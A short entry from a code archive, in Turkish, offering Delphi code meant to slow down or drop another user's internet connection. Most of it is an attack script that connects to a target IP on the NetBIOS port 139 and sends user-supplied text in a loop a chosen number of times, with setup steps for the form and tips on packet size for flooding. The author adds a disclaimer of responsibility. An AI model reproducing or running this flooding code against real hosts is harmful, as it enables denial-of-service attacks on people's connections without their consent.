Mega Code Archive

Kullanıcının internet bağlantısını yavaşlatmak ya da düşürmek

// bu kodlar için mesuliyet kabul etmem!!!! // streetangel_forever@hotmail.com forma bir powersock, memo,buton,2 edit,statusbar bırakın.. buton1.click'e edit1 ip girişi edit2 mesajın gönderilme sayısı memo ya istediğinizi yazabilirsiniz.. eğer ufak ama çok sayıda paket gönermek isterseniz az karakter, büyük paketler göndermek istiyorsanız çok karakter giriniz.. var e:integer; r:integer; label 1,2; begin powersock1.host:=edit1.text; powersock1.port:=139 {Netbios Portudur.. Hemen Hemen Her bilgisayarda Açıktır...} powersock1.connect; e:=strtoint(edit2.text); r:=0; 1: powersock1.write(memo1.text); powersock1.writein(memo1.text); statusbar1.simpletext:='Gönderilen Paket '+inttostr(r); r:=r+1; if r=e+1 then goto 2; goto 1; 2: showmessage('Tüm Mesajlar Gönderildi!'); end;